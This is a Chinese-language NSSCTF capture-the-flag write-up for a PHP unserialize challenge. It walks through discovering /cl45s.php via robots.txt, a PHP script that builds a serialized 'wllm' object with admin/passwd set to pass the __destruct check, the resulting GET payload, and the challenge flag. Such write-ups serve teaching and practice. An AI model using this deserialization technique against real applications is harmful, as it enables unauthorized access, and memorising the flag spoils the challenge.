打开链接但是没有题目
使用御剑扫一下
flag.php打不开,但是在robots.txt里面我们找到了一个路径 /cl45s.php
打开之后是PHP源码
简单审一下,构造pop链:
链尾(就是最终我们想要利用的地方),在echo $flag 并且include了flag.php
往上看,发现只需要满足 ($this->admin === "admin" && $this->passwd === "ctf")
即admin="admin",passwd="ctf"
再往上看,发现执行这条语句我们需要触发__destruct()函数
__destruct是析构函数,会在对象的所有引用被删除或者当对象被显式销毁时自动执行,比如new完一个对象,当创建完成之后就不引用了,如果有赋值指向就会立马丢弃,触发destruct函数。
这里还有一个__construct()构造函数,它是在实例化一个对象(即new时)会自动调用。
上脚本:
<?php class wllm{ public $admin; public $passwd; public function __construct(){ $this->admin ="user"; $this->passwd = "123456"; } public function __destruct(){ if($this->admin === "admin" && $this->passwd === "ctf"){ include("flag.php"); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo "Just a bit more!"; } } } $w=new wllm(); $w->admin="admin"; $w->passwd="ctf"; $w=serialize($w); echo $w;
关于脚本的解释:
我们将题目给的类放进去
后面先实例化这个类,此时会触发__construct()函数,并进行如下变量的赋值:
$admin ="user"
%passwd = "123456"
但是不影响,我们再给它们进行一次赋值,赋值成符合下面if语句判断的值
$w->admin="admin";
$w->passwd="ctf";
(这里的w就是实例化后的类wllm,->是调用的意思,调用wllm类里面的这两个变量进行赋值)
我们说过new结束后,会触发__destruct()函数,此时来到if语句的判断,我们通过上面的赋值操作,让if语句判断为真,就会输出flag。
我们再将最终的$w用serialize函数进行序列化,并将结果输出:
得到 O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
题目中提示要以get方式给p传参,并且会对传入参数进行反序列化操作
因此我们将序列化后的内容传给p即可
构造payload:
?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
传入后直接回显flag
NSSCTF{7c700eec-a6b7-4c9e-87b0-c36876cfbd14}